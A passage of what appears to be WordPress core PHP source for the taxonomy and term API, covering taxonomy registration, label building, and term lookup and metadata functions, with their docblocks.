 *     @type string[]      $capabilities {
 *         Array of capabilities for this taxonomy.
 *
 *         @type string $manage_terms Default 'manage_categories'.
 *         @type string $edit_terms   Default 'manage_categories'.
 *         @type string $delete_terms Default 'manage_categories'.
 *         @type string $assign_terms Default 'edit_posts'.
 *     }
 *     @type bool|array    $rewrite {
 *         Triggers the handling of rewrites for this taxonomy. Default true, using $taxonomy as slug. To prevent
 *         rewrite, set to false. To specify rewrite rules, an array can be passed with any of these keys:
 *
 *         @type string $slug         Customize the permastruct slug. Default `$taxonomy` key.
 *         @type bool   $with_front   Should the permastruct be prepended with WP_Rewrite::$front. Default true.
 *         @type bool   $hierarchical Either hierarchical rewrite tag or not. Default false.
 *         @type int    $ep_mask      Assign an endpoint mask. Default `EP_NONE`.
 *     }
 *     @type string|bool   $query_var             Sets the query var key for this taxonomy. Default `$taxonomy` key. If
 *                                                false, a taxonomy cannot be loaded at `?{query_var}={term_slug}`. If a
 *                                                string, the query `?{query_var}={term_slug}` will be valid.
 *     @type callable      $update_count_callback Works much like a hook, in that it will be called when the count is
 *                                                updated. Default _update_post_term_count() for taxonomies attached
 *                                                to post types, which confirms that the objects are published before
 *                                                counting them. Default _update_generic_term_count() for taxonomies
 *                                                attached to other object types, such as users.
 *     @type string|array  $default_term {
 *         Default term to be used for the taxonomy.
 *
 *         @type string $name         Name of default term.
 *         @type string $slug         Slug for default term. Default empty.
 *         @type string $description  Description for default term. Default empty.
 *     }
 *     @type bool          $sort                  Whether terms in this taxonomy should be sorted in the order they are
 *                                                provided to `wp_set_object_terms()`. Default null which equates to false.
 *     @type array         $args                  Array of arguments to automatically use inside `wp_get_object_terms()`
 *                                                for this taxonomy.
 *     @type bool          $_builtin              This taxonomy is a "built-in" taxonomy. INTERNAL USE ONLY!
 *                                                Default false.
 * }
 * @return WP_Taxonomy|WP_Error The registered taxonomy object on success, WP_Error object on failure.
 */
function register_taxonomy( $taxonomy, $object_type, $args = array() ) {
	global $wp_taxonomies;

	if ( ! is_array( $wp_taxonomies ) ) {
		$wp_taxonomies = array();
	}

	$args = wp_parse_args( $args );

	if ( empty( $taxonomy ) || strlen( $taxonomy ) > 32 ) {
		_doing_it_wrong( __FUNCTION__, __( 'Taxonomy names must be between 1 and 32 characters in length.' ), '4.2.0' );
		return new WP_Error( 'taxonomy_length_invalid', __( 'Taxonomy names must be between 1 and 32 characters in length.' ) );
	}

	$taxonomy_object = new WP_Taxonomy( $taxonomy, $object_type, $args );
	$taxonomy_object->add_rewrite_rules();

	$wp_taxonomies[ $taxonomy ] = $taxonomy_object;

	$taxonomy_object->add_hooks();

	// Add default term.
	if ( ! empty( $taxonomy_object->default_term ) ) {
		$term = term_exists( $taxonomy_object->default_term['name'], $taxonomy );
		if ( $term ) {
			update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
		} else {
			$term = wp_insert_term(
				$taxonomy_object->default_term['name'],
				$taxonomy,
				array(
					'slug'        => sanitize_title( $taxonomy_object->default_term['slug'] ),
					'description' => $taxonomy_object->default_term['description'],
				)
			);

			// Update `term_id` in options.
			if ( ! is_wp_error( $term ) ) {
				update_option( 'default_term_' . $taxonomy_object->name, $term['term_id'] );
			}
		}
	}

	/**
	 * Fires after a taxonomy is registered.
	 *
	 * @since 3.3.0
	 *
	 * @param string       $taxonomy    Taxonomy slug.
	 * @param array|string $object_type Object type or array of object types.
	 * @param array        $args        Array of taxonomy registration arguments.
	 */
	do_action( 'registered_taxonomy', $taxonomy, $object_type, (array) $taxonomy_object );

	/**
	 * Fires after a specific taxonomy is registered.
	 *
	 * The dynamic portion of the filter name, `$taxonomy`, refers to the taxonomy key.
	 *
	 * Possible hook names include:
	 *
	 *  - `registered_taxonomy_category`
	 *  - `registered_taxonomy_post_tag`
	 *
	 * @since 6.0.0
	 *
	 * @param string       $taxonomy    Taxonomy slug.
	 * @param array|string $object_type Object type or array of object types.
	 * @param array        $args        Array of taxonomy registration arguments.
	 */
	do_action( "registered_taxonomy_{$taxonomy}", $taxonomy, $object_type, (array) $taxonomy_object );

	return $taxonomy_object;
}

/**
 * Unregisters a taxonomy.
 *
 * Can not be used to unregister built-in taxonomies.
 *
 * @since 4.5.0
 *
 * @global WP_Taxonomy[] $wp_taxonomies List of taxonomies.
 *
 * @param string $taxonomy Taxonomy name.
 * @return true|WP_Error True on success, WP_Error on failure or if the taxonomy doesn't exist.
 */
function unregister_taxonomy( $taxonomy ) {
	global $wp_taxonomies;

	if ( ! taxonomy_exists( $taxonomy ) ) {
		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
	}

	$taxonomy_object = get_taxonomy( $taxonomy );

	// Do not allow unregistering internal taxonomies.
	if ( $taxonomy_object->_builtin ) {
		return new WP_Error( 'invalid_taxonomy', __( 'Unregistering a built-in taxonomy is not allowed.' ) );
	}

	$taxonomy_object->remove_rewrite_rules();
	$taxonomy_object->remove_hooks();

	// Remove the taxonomy.
	unset( $wp_taxonomies[ $taxonomy ] );

	/**
	 * Fires after a taxonomy is unregistered.
	 *
	 * @since 4.5.0
	 *
	 * @param string $taxonomy Taxonomy name.
	 */
	do_action( 'unregistered_taxonomy', $taxonomy );

	return true;
}

/**
 * Builds an object with all taxonomy labels out of a taxonomy object.
 *
 * @since 3.0.0
 * @since 4.3.0 Added the `no_terms` label.
 * @since 4.4.0 Added the `items_list_navigation` and `items_list` labels.
 * @since 4.9.0 Added the `most_used` and `back_to_items` labels.
 * @since 5.7.0 Added the `filter_by_item` label.
 * @since 5.8.0 Added the `item_link` and `item_link_description` labels.
 * @since 5.9.0 Added the `name_field_description`, `slug_field_description`,
 *              `parent_field_description`, and `desc_field_description` labels.
 *
 * @param WP_Taxonomy $tax Taxonomy object.
 * @return object {
 *     Taxonomy labels object. The first default value is for non-hierarchical taxonomies
 *     (like tags) and the second one is for hierarchical taxonomies (like categories).
 *
 *     @type string $name                       General name for the taxonomy, usually plural. The same
 *                                              as and overridden by `$tax->label`. Default 'Tags'/'Categories'.
 *     @type string $singular_name              Name for one object of this taxonomy. Default 'Tag'/'Category'.
 *     @type string $search_items               Default 'Search Tags'/'Search Categories'.
 *     @type string $popular_items              This label is only used for non-hierarchical taxonomies.
 *                                              Default 'Popular Tags'.
 *     @type string $all_items                  Default 'All Tags'/'All Categories'.
 *     @type string $parent_item                This label is only used for hierarchical taxonomies. Default
 *                                              'Parent Category'.
 *     @type string $parent_item_colon          The same as `parent_item`, but with colon `:` in the end.
 *     @type string $name_field_description     Description for the Name field on Edit Tags screen.
 *                                              Default 'The name is how it appears on your site'.
 *     @type string $slug_field_description     Description for the Slug field on Edit Tags screen.
 *                                              Default 'The &#8220;slug&#8221; is the URL-friendly version
 *                                              of the name. It is usually all lowercase and contains
 *                                              only letters, numbers, and hyphens'.
 *     @type string $parent_field_description   Description for the Parent field on Edit Tags screen.
 *                                              Default 'Assign a parent term to create a hierarchy.
 *                                              The term Jazz, for example, would be the parent
 *                                              of Bebop and Big Band'.
 *     @type string $desc_field_description     Description for the Description field on Edit Tags screen.
 *                                              Default 'The description is not prominent by default;
 *                                              however, some themes may show it'.
 *     @type string $edit_item                  Default 'Edit Tag'/'Edit Category'.
 *     @type string $view_item                  Default 'View Tag'/'View Category'.
 *     @type string $update_item                Default 'Update Tag'/'Update Category'.
 *     @type string $add_new_item               Default 'Add New Tag'/'Add New Category'.
 *     @type string $new_item_name              Default 'New Tag Name'/'New Category Name'.
 *     @type string $separate_items_with_commas This label is only used for non-hierarchical taxonomies. Default
 *                                              'Separate tags with commas', used in the meta box.
 *     @type string $add_or_remove_items        This label is only used for non-hierarchical taxonomies. Default
 *                                              'Add or remove tags', used in the meta box when JavaScript
 *                                              is disabled.
 *     @type string $choose_from_most_used      This label is only used on non-hierarchical taxonomies. Default
 *                                              'Choose from the most used tags', used in the meta box.
 *     @type string $not_found                  Default 'No tags found'/'No categories found', used in
 *                                              the meta box and taxonomy list table.
 *     @type string $no_terms                   Default 'No tags'/'No categories', used in the posts and media
 *                                              list tables.
 *     @type string $filter_by_item             This label is only used for hierarchical taxonomies. Default
 *                                              'Filter by category', used in the posts list table.
 *     @type string $items_list_navigation      Label for the table pagination hidden heading.
 *     @type string $items_list                 Label for the table hidden heading.
 *     @type string $most_used                  Title for the Most Used tab. Default 'Most Used'.
 *     @type string $back_to_items              Label displayed after a term has been updated.
 *     @type string $item_link                  Used in the block editor. Title for a navigation link block variation.
 *                                              Default 'Tag Link'/'Category Link'.
 *     @type string $item_link_description      Used in the block editor. Description for a navigation link block
 *                                              variation. Default 'A link to a tag'/'A link to a category'.
 * }
 */
function get_taxonomy_labels( $tax ) {
	$tax->labels = (array) $tax->labels;

	if ( isset( $tax->helps ) && empty( $tax->labels['separate_items_with_commas'] ) ) {
		$tax->labels['separate_items_with_commas'] = $tax->helps;
	}

	if ( isset( $tax->no_tagcloud ) && empty( $tax->labels['not_found'] ) ) {
		$tax->labels['not_found'] = $tax->no_tagcloud;
	}

	$nohier_vs_hier_defaults = WP_Taxonomy::get_default_labels();

	$nohier_vs_hier_defaults['menu_name'] = $nohier_vs_hier_defaults['name'];

	$labels = _get_custom_object_labels( $tax, $nohier_vs_hier_defaults );

	$taxonomy = $tax->name;

	$default_labels = clone $labels;

	/**
	 * Filters the labels of a specific taxonomy.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `taxonomy_labels_category`
	 *  - `taxonomy_labels_post_tag`
	 *
	 * @since 4.4.0
	 *
	 * @see get_taxonomy_labels() for the full list of taxonomy labels.
	 *
	 * @param object $labels Object with labels for the taxonomy as member variables.
	 */
	$labels = apply_filters( "taxonomy_labels_{$taxonomy}", $labels );

	// Ensure that the filtered labels contain all required default values.
	$labels = (object) array_merge( (array) $default_labels, (array) $labels );

	return $labels;
}

/**
 * Adds an already registered taxonomy to an object type.
 *
 * @since 3.0.0
 *
 * @global WP_Taxonomy[] $wp_taxonomies The registered taxonomies.
 *
 * @param string $taxonomy    Name of taxonomy object.
 * @param string $object_type Name of the object type.
 * @return bool True if successful, false if not.
 */
function register_taxonomy_for_object_type( $taxonomy, $object_type ) {
	global $wp_taxonomies;

	if ( ! isset( $wp_taxonomies[ $taxonomy ] ) ) {
		return false;
	}

	if ( ! get_post_type_object( $object_type ) ) {
		return false;
	}

	if ( ! in_array( $object_type, $wp_taxonomies[ $taxonomy ]->object_type, true ) ) {
		$wp_taxonomies[ $taxonomy ]->object_type[] = $object_type;
	}

	// Filter out empties.
	$wp_taxonomies[ $taxonomy ]->object_type = array_filter( $wp_taxonomies[ $taxonomy ]->object_type );

	/**
	 * Fires after a taxonomy is registered for an object type.
	 *
	 * @since 5.1.0
	 *
	 * @param string $taxonomy    Taxonomy name.
	 * @param string $object_type Name of the object type.
	 */
	do_action( 'registered_taxonomy_for_object_type', $taxonomy, $object_type );

	return true;
}

/**
 * Removes an already registered taxonomy from an object type.
 *
 * @since 3.7.0
 *
 * @global WP_Taxonomy[] $wp_taxonomies The registered taxonomies.
 *
 * @param string $taxonomy    Name of taxonomy object.
 * @param string $object_type Name of the object type.
 * @return bool True if successful, false if not.
 */
function unregister_taxonomy_for_object_type( $taxonomy, $object_type ) {
	global $wp_taxonomies;

	if ( ! isset( $wp_taxonomies[ $taxonomy ] ) ) {
		return false;
	}

	if ( ! get_post_type_object( $object_type ) ) {
		return false;
	}

	$key = array_search( $object_type, $wp_taxonomies[ $taxonomy ]->object_type, true );
	if ( false === $key ) {
		return false;
	}

	unset( $wp_taxonomies[ $taxonomy ]->object_type[ $key ] );

	/**
	 * Fires after a taxonomy is unregistered for an object type.
	 *
	 * @since 5.1.0
	 *
	 * @param string $taxonomy    Taxonomy name.
	 * @param string $object_type Name of the object type.
	 */
	do_action( 'unregistered_taxonomy_for_object_type', $taxonomy, $object_type );

	return true;
}

//
// Term API.
//

/**
 * Retrieves object IDs of valid taxonomy and term.
 *
 * The strings of `$taxonomies` must exist before this function will continue.
 * On failure of finding a valid taxonomy, it will return a WP_Error.
 *
 * The `$terms` aren't checked the same as `$taxonomies`, but still need to exist
 * for object IDs to be returned.
 *
 * It is possible to change the order that object IDs are returned by using `$args`
 * with either ASC or DESC array. The value should be in the key named 'order'.
 *
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|int[]       $term_ids   Term ID or array of term IDs of terms that will be used.
 * @param string|string[] $taxonomies String of taxonomy name or Array of string values of taxonomy names.
 * @param array|string    $args       {
 *     Change the order of the object IDs.
 *
 *     @type string $order Order to retrieve terms. Accepts 'ASC' or 'DESC'. Default 'ASC'.
 * }
 * @return string[]|WP_Error An array of object IDs as numeric strings on success,
 *                           WP_Error if the taxonomy does not exist.
 */
function get_objects_in_term( $term_ids, $taxonomies, $args = array() ) {
	global $wpdb;

	if ( ! is_array( $term_ids ) ) {
		$term_ids = array( $term_ids );
	}
	if ( ! is_array( $taxonomies ) ) {
		$taxonomies = array( $taxonomies );
	}
	foreach ( (array) $taxonomies as $taxonomy ) {
		if ( ! taxonomy_exists( $taxonomy ) ) {
			return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
		}
	}

	$defaults = array( 'order' => 'ASC' );
	$args     = wp_parse_args( $args, $defaults );

	$order = ( 'desc' === strtolower( $args['order'] ) ) ? 'DESC' : 'ASC';

	$term_ids = array_map( 'intval', $term_ids );

	$taxonomies = "'" . implode( "', '", array_map( 'esc_sql', $taxonomies ) ) . "'";
	$term_ids   = "'" . implode( "', '", $term_ids ) . "'";

	$sql = "SELECT tr.object_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ($taxonomies) AND tt.term_id IN ($term_ids) ORDER BY tr.object_id $order";

	$last_changed = wp_cache_get_last_changed( 'terms' );
	$cache_key    = 'get_objects_in_term:' . md5( $sql ) . ":$last_changed";
	$cache        = wp_cache_get( $cache_key, 'term-queries' );
	if ( false === $cache ) {
		$object_ids = $wpdb->get_col( $sql );
		wp_cache_set( $cache_key, $object_ids, 'term-queries' );
	} else {
		$object_ids = (array) $cache;
	}

	if ( ! $object_ids ) {
		return array();
	}
	return $object_ids;
}

/**
 * Given a taxonomy query, generates SQL to be appended to a main query.
 *
 * @since 3.1.0
 *
 * @see WP_Tax_Query
 *
 * @param array  $tax_query         A compact tax query
 * @param string $primary_table
 * @param string $primary_id_column
 * @return string[]
 */
function get_tax_sql( $tax_query, $primary_table, $primary_id_column ) {
	$tax_query_obj = new WP_Tax_Query( $tax_query );
	return $tax_query_obj->get_sql( $primary_table, $primary_id_column );
}

/**
 * Gets all term data from database by term ID.
 *
 * The usage of the get_term function is to apply filters to a term object. It
 * is possible to get a term object from the database before applying the
 * filters.
 *
 * $term ID must be part of $taxonomy, to get from the database. Failure, might
 * be able to be captured by the hooks. Failure would be the same value as $wpdb
 * returns for the get_row method.
 *
 * There are two hooks, one is specifically for each term, named 'get_term', and
 * the second is for the taxonomy name, 'term_$taxonomy'. Both hooks gets the
 * term object, and the taxonomy name as parameters. Both hooks are expected to
 * return a term object.
 *
 * {@see 'get_term'} hook - Takes two parameters the term Object and the taxonomy name.
 * Must return term object. Used in get_term() as a catch-all filter for every
 * $term.
 *
 * {@see 'get_$taxonomy'} hook - Takes two parameters the term Object and the taxonomy
 * name. Must return term object. $taxonomy will be the taxonomy name, so for
 * example, if 'category', it would be 'get_category' as the filter name. Useful
 * for custom taxonomies or plugging into default taxonomies.
 *
 * @todo Better formatting for DocBlock
 *
 * @since 2.3.0
 * @since 4.4.0 Converted to return a WP_Term object if `$output` is `OBJECT`.
 *              The `$taxonomy` parameter was made optional.
 *
 * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param.
 *
 * @param int|WP_Term|object $term     If integer, term data will be fetched from the database,
 *                                     or from the cache if available.
 *                                     If stdClass object (as in the results of a database query),
 *                                     will apply filters and return a `WP_Term` object with the `$term` data.
 *                                     If `WP_Term`, will return `$term`.
 * @param string             $taxonomy Optional. Taxonomy name that `$term` is part of.
 * @param string             $output   Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                                     correspond to a WP_Term object, an associative array, or a numeric array,
 *                                     respectively. Default OBJECT.
 * @param string             $filter   Optional. How to sanitize term fields. Default 'raw'.
 * @return WP_Term|array|WP_Error|null WP_Term instance (or array) on success, depending on the `$output` value.
 *                                     WP_Error if `$taxonomy` does not exist. Null for miscellaneous failure.
 */
function get_term( $term, $taxonomy = '', $output = OBJECT, $filter = 'raw' ) {
	if ( empty( $term ) ) {
		return new WP_Error( 'invalid_term', __( 'Empty Term.' ) );
	}

	if ( $taxonomy && ! taxonomy_exists( $taxonomy ) ) {
		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
	}

	if ( $term instanceof WP_Term ) {
		$_term = $term;
	} elseif ( is_object( $term ) ) {
		if ( empty( $term->filter ) || 'raw' === $term->filter ) {
			$_term = sanitize_term( $term, $taxonomy, 'raw' );
			$_term = new WP_Term( $_term );
		} else {
			$_term = WP_Term::get_instance( $term->term_id );
		}
	} else {
		$_term = WP_Term::get_instance( $term, $taxonomy );
	}

	if ( is_wp_error( $_term ) ) {
		return $_term;
	} elseif ( ! $_term ) {
		return null;
	}

	// Ensure for filters that this is not empty.
	$taxonomy = $_term->taxonomy;

	$old_term = $_term;
	/**
	 * Filters a taxonomy term object.
	 *
	 * The {@see 'get_$taxonomy'} hook is also available for targeting a specific
	 * taxonomy.
	 *
	 * @since 2.3.0
	 * @since 4.4.0 `$_term` is now a `WP_Term` object.
	 *
	 * @param WP_Term $_term    Term object.
	 * @param string  $taxonomy The taxonomy slug.
	 */
	$_term = apply_filters( 'get_term', $_term, $taxonomy );

	/**
	 * Filters a taxonomy term object.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers
	 * to the slug of the term's taxonomy.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_category`
	 *  - `get_post_tag`
	 *
	 * @since 2.3.0
	 * @since 4.4.0 `$_term` is now a `WP_Term` object.
	 *
	 * @param WP_Term $_term    Term object.
	 * @param string  $taxonomy The taxonomy slug.
	 */
	$_term = apply_filters( "get_{$taxonomy}", $_term, $taxonomy );

	// Bail if a filter callback has changed the type of the `$_term` object.
	if ( ! ( $_term instanceof WP_Term ) ) {
		return $_term;
	}

	// Sanitize term, according to the specified filter.
	if ( $_term !== $old_term || $_term->filter !== $filter ) {
		$_term->filter( $filter );
	}

	if ( ARRAY_A === $output ) {
		return $_term->to_array();
	} elseif ( ARRAY_N === $output ) {
		return array_values( $_term->to_array() );
	}

	return $_term;
}

/**
 * Gets all term data from database by term field and data.
 *
 * Warning: $value is not escaped for 'name' $field. You must do it yourself, if
 * required.
 *
 * The default $field is 'id', therefore it is possible to also use null for
 * field, but not recommended that you do so.
 *
 * If $value does not exist, the return value will be false. If $taxonomy exists
 * and $field and $value combinations exist, the term will be returned.
 *
 * This function will always return the first term that matches the `$field`-
 * `$value`-`$taxonomy` combination specified in the parameters. If your query
 * is likely to match more than one term (as is likely to be the case when
 * `$field` is 'name', for example), consider using get_terms() instead; that
 * way, you will get all matching terms, and can provide your own logic for
 * deciding which one was intended.
 *
 * @todo Better formatting for DocBlock.
 *
 * @since 2.3.0
 * @since 4.4.0 `$taxonomy` is optional if `$field` is 'term_taxonomy_id'. Converted to return
 *              a WP_Term object if `$output` is `OBJECT`.
 * @since 5.5.0 Added 'ID' as an alias of 'id' for the `$field` parameter.
 *
 * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param.
 *
 * @param string     $field    Either 'slug', 'name', 'term_id' (or 'id', 'ID'), or 'term_taxonomy_id'.
 * @param string|int $value    Search for this term value.
 * @param string     $taxonomy Taxonomy name. Optional, if `$field` is 'term_taxonomy_id'.
 * @param string     $output   Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                             correspond to a WP_Term object, an associative array, or a numeric array,
 *                             respectively. Default OBJECT.
 * @param string     $filter   Optional. How to sanitize term fields. Default 'raw'.
 * @return WP_Term|array|false WP_Term instance (or array) on success, depending on the `$output` value.
 *                             False if `$taxonomy` does not exist or `$term` was not found.
 */
function get_term_by( $field, $value, $taxonomy = '', $output = OBJECT, $filter = 'raw' ) {

	// 'term_taxonomy_id' lookups don't require taxonomy checks.
	if ( 'term_taxonomy_id' !== $field && ! taxonomy_exists( $taxonomy ) ) {
		return false;
	}

	// No need to perform a query for empty 'slug' or 'name'.
	if ( 'slug' === $field || 'name' === $field ) {
		$value = (string) $value;

		if ( 0 === strlen( $value ) ) {
			return false;
		}
	}

	if ( 'id' === $field || 'ID' === $field || 'term_id' === $field ) {
		$term = get_term( (int) $value, $taxonomy, $output, $filter );
		if ( is_wp_error( $term ) || null === $term ) {
			$term = false;
		}
		return $term;
	}

	$args = array(
		'get'                    => 'all',
		'number'                 => 1,
		'taxonomy'               => $taxonomy,
		'update_term_meta_cache' => false,
		'orderby'                => 'none',
		'suppress_filter'        => true,
	);

	switch ( $field ) {
		case 'slug':
			$args['slug'] = $value;
			break;
		case 'name':
			$args['name'] = $value;
			break;
		case 'term_taxonomy_id':
			$args['term_taxonomy_id'] = $value;
			unset( $args['taxonomy'] );
			break;
		default:
			return false;
	}

	$terms = get_terms( $args );
	if ( is_wp_error( $terms ) || empty( $terms ) ) {
		return false;
	}

	$term = array_shift( $terms );

	// In the case of 'term_taxonomy_id', override the provided `$taxonomy` with whatever we find in the DB.
	if ( 'term_taxonomy_id' === $field ) {
		$taxonomy = $term->taxonomy;
	}

	return get_term( $term, $taxonomy, $output, $filter );
}

/**
 * Merges all term children into a single array of their IDs.
 *
 * This recursive function will merge all of the children of $term into the same
 * array of term IDs. Only useful for taxonomies which are hierarchical.
 *
 * Will return an empty array if $term does not exist in $taxonomy.
 *
 * @since 2.3.0
 *
 * @param int    $term_id  ID of term to get children.
 * @param string $taxonomy Taxonomy name.
 * @return array|WP_Error List of term IDs. WP_Error returned if `$taxonomy` does not exist.
 */
function get_term_children( $term_id, $taxonomy ) {
	if ( ! taxonomy_exists( $taxonomy ) ) {
		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
	}

	$term_id = (int) $term_id;

	$terms = _get_term_hierarchy( $taxonomy );

	if ( ! isset( $terms[ $term_id ] ) ) {
		return array();
	}

	$children = $terms[ $term_id ];

	foreach ( (array) $terms[ $term_id ] as $child ) {
		if ( $term_id === $child ) {
			continue;
		}

		if ( isset( $terms[ $child ] ) ) {
			$children = array_merge( $children, get_term_children( $child, $taxonomy ) );
		}
	}

	return $children;
}

/**
 * Gets sanitized term field.
 *
 * The function is for contextual reasons and for simplicity of usage.
 *
 * @since 2.3.0
 * @since 4.4.0 The `$taxonomy` parameter was made optional. `$term` can also now accept a WP_Term object.
 *
 * @see sanitize_term_field()
 *
 * @param string      $field    Term field to fetch.
 * @param int|WP_Term $term     Term ID or object.
 * @param string      $taxonomy Optional. Taxonomy name. Default empty.
 * @param string      $context  Optional. How to sanitize term fields. Look at sanitize_term_field() for available options.
 *                              Default 'display'.
 * @return string|int|null|WP_Error Will return an empty string if $term is not an object or if $field is not set in $term.
 */
function get_term_field( $field, $term, $taxonomy = '', $context = 'display' ) {
	$term = get_term( $term, $taxonomy );
	if ( is_wp_error( $term ) ) {
		return $term;
	}

	if ( ! is_object( $term ) ) {
		return '';
	}

	if ( ! isset( $term->$field ) ) {
		return '';
	}

	return sanitize_term_field( $field, $term->$field, $term->term_id, $term->taxonomy, $context );
}

/**
 * Sanitizes term for editing.
 *
 * Return value is sanitize_term() and usage is for sanitizing the term for
 * editing. Function is for contextual and simplicity.
 *
 * @since 2.3.0
 *
 * @param int|object $id       Term ID or object.
 * @param string     $taxonomy Taxonomy name.
 * @return string|int|null|WP_Error Will return empty string if $term is not an object.
 */
function get_term_to_edit( $id, $taxonomy ) {
	$term = get_term( $id, $taxonomy );

	if ( is_wp_error( $term ) ) {
		return $term;
	}

	if ( ! is_object( $term ) ) {
		return '';
	}

	return sanitize_term( $term, $taxonomy, 'edit' );
}

/**
 * Retrieves the terms in a given taxonomy or list of taxonomies.
 *
 * You can fully inject any customizations to the query before it is sent, as
 * well as control the output with a filter.
 *
 * The return type varies depending on the value passed to `$args['fields']`. See
 * WP_Term_Query::get_terms() for details. In all cases, a `WP_Error` object will
 * be returned if an invalid taxonomy is requested.
 *
 * The {@see 'get_terms'} filter will be called when the cache has the term and will
 * pass the found term along with the array of $taxonomies and array of $args.
 * This filter is also called before the array of terms is passed and will pass
 * the array of terms, along with the $taxonomies and $args.
 *
 * The {@see 'list_terms_exclusions'} filter passes the compiled exclusions along with
 * the $args.
 *
 * The {@see 'get_terms_orderby'} filter passes the `ORDER BY` clause for the query
 * along with the $args array.
 *
 * Taxonomy or an array of taxonomies should be passed via the 'taxonomy' argument
 * in the `$args` array:
 *
 *     $terms = get_terms( array(
 *         'taxonomy'   => 'post_tag',
 *         'hide_empty' => false,
 *     ) );
 *
 * Prior to 4.5.0, taxonomy was passed as the first parameter of `get_terms()`.
 *
 * @since 2.3.0
 * @since 4.2.0 Introduced 'name' and 'childless' parameters.
 * @since 4.4.0 Introduced the ability to pass 'term_id' as an alias of 'id' for the `orderby` parameter.
 *              Introduced the 'meta_query' and 'update_term_meta_cache' parameters. Converted to return
 *              a list of WP_Term objects.
 * @since 4.5.0 Changed the function signature so that the `$args` array can be provided as the first parameter.
 *              Introduced 'meta_key' and 'meta_value' parameters. Introduced the ability to order results by metadata.
 * @since 4.8.0 Introduced 'suppress_filter' parameter.
 *
 * @internal The `$deprecated` parameter is parsed for backward compatibility only.
 *
 * @param array|string $args       Optional. Array or string of arguments. See WP_Term_Query::__construct()
 *                                 for information on accepted arguments. Default empty array.
 * @param array|string $deprecated Optional. Argument array, when using the legacy function parameter format.
 *                                 If present, this parameter will be interpreted as `$args`, and the first
 *                                 function parameter will be parsed as a taxonomy or array of taxonomies.
 *                                 Default empty.
 * @return WP_Term[]|int[]|string[]|string|WP_Error Array of terms, a count thereof as a numeric string,
 *                                                  or WP_Error if any of the taxonomies do not exist.
 *                                                  See the function description for more information.
 */
function get_terms( $args = array(), $deprecated = '' ) {
	$term_query = new WP_Term_Query();

	$defaults = array(
		'suppress_filter' => false,
	);

	/*
	 * Legacy argument format ($taxonomy, $args) takes precedence.
	 *
	 * We detect legacy argument format by checking if
	 * (a) a second non-empty parameter is passed, or
	 * (b) the first parameter shares no keys with the default array (ie, it's a list of taxonomies)
	 */
	$_args          = wp_parse_args( $args );
	$key_intersect  = array_intersect_key( $term_query->query_var_defaults, (array) $_args );
	$do_legacy_args = $deprecated || empty( $key_intersect );

	if ( $do_legacy_args ) {
		$taxonomies       = (array) $args;
		$args             = wp_parse_args( $deprecated, $defaults );
		$args['taxonomy'] = $taxonomies;
	} else {
		$args = wp_parse_args( $args, $defaults );
		if ( isset( $args['taxonomy'] ) && null !== $args['taxonomy'] ) {
			$args['taxonomy'] = (array) $args['taxonomy'];
		}
	}

	if ( ! empty( $args['taxonomy'] ) ) {
		foreach ( $args['taxonomy'] as $taxonomy ) {
			if ( ! taxonomy_exists( $taxonomy ) ) {
				return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
			}
		}
	}

	// Don't pass suppress_filter to WP_Term_Query.
	$suppress_filter = $args['suppress_filter'];
	unset( $args['suppress_filter'] );

	$terms = $term_query->query( $args );

	// Count queries are not filtered, for legacy reasons.
	if ( ! is_array( $terms ) ) {
		return $terms;
	}

	if ( $suppress_filter ) {
		return $terms;
	}

	/**
	 * Filters the found terms.
	 *
	 * @since 2.3.0
	 * @since 4.6.0 Added the `$term_query` parameter.
	 *
	 * @param array         $terms      Array of found terms.
	 * @param array|null    $taxonomies An array of taxonomies if known.
	 * @param array         $args       An array of get_terms() arguments.
	 * @param WP_Term_Query $term_query The WP_Term_Query object.
	 */
	return apply_filters( 'get_terms', $terms, $term_query->query_vars['taxonomy'], $term_query->query_vars, $term_query );
}

/**
 * Adds metadata to a term.
 *
 * @since 4.4.0
 *
 * @param int    $term_id    Term ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param bool   $unique     Optional. Whether the same key should not be added.
 *                           Default false.
 * @return int|false|WP_Error Meta ID on success, false on failure.
 *                            WP_Error when term_id is ambiguous between taxonomies.
 */
function add_term_meta( $term_id, $meta_key, $meta_value, $unique = false ) {
	if ( wp_term_is_shared( $term_id ) ) {
		return new WP_Error( 'ambiguous_term_id', __( 'Term meta cannot be added to terms that are shared between taxonomies.' ), $term_id );
	}

	return add_metadata( 'term', $term_id, $meta_key, $meta_value, $unique );
}

/**
 * Removes metadata matching criteria from a term.
 *
 * @since 4.4.0
 *
 * @param int    $term_id    Term ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Optional. Metadata value. If provided,
 *                           rows will only be removed that match the value.
 *                           Must be serializable if non-scalar. Default empty.
 * @return bool True on success, false on failure.
 */
function delete_term_meta( $term_id, $meta_key, $meta_value = '' ) {
	return delete_metadata( 'term', $term_id, $meta_key, $meta_value );
}

/**
 * Retrieves metadata for a term.
 *
 * @since 4.4.0
 *
 * @param int    $term_id Term ID.
 * @param string $key     Optional. The meta key to retrieve. By default,
 *                        returns data for all keys. Default empty.
 * @param bool   $single  Optional. Whether to return a single value.
 *                        This parameter has no effect if `$key` is not specified.
 *                        Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of the meta field if `$single` is true.
 *               False for an invalid `$term_id` (non-numeric, zero, or negative value).
 *               An empty string if a valid but non-existing term ID is passed.
 */
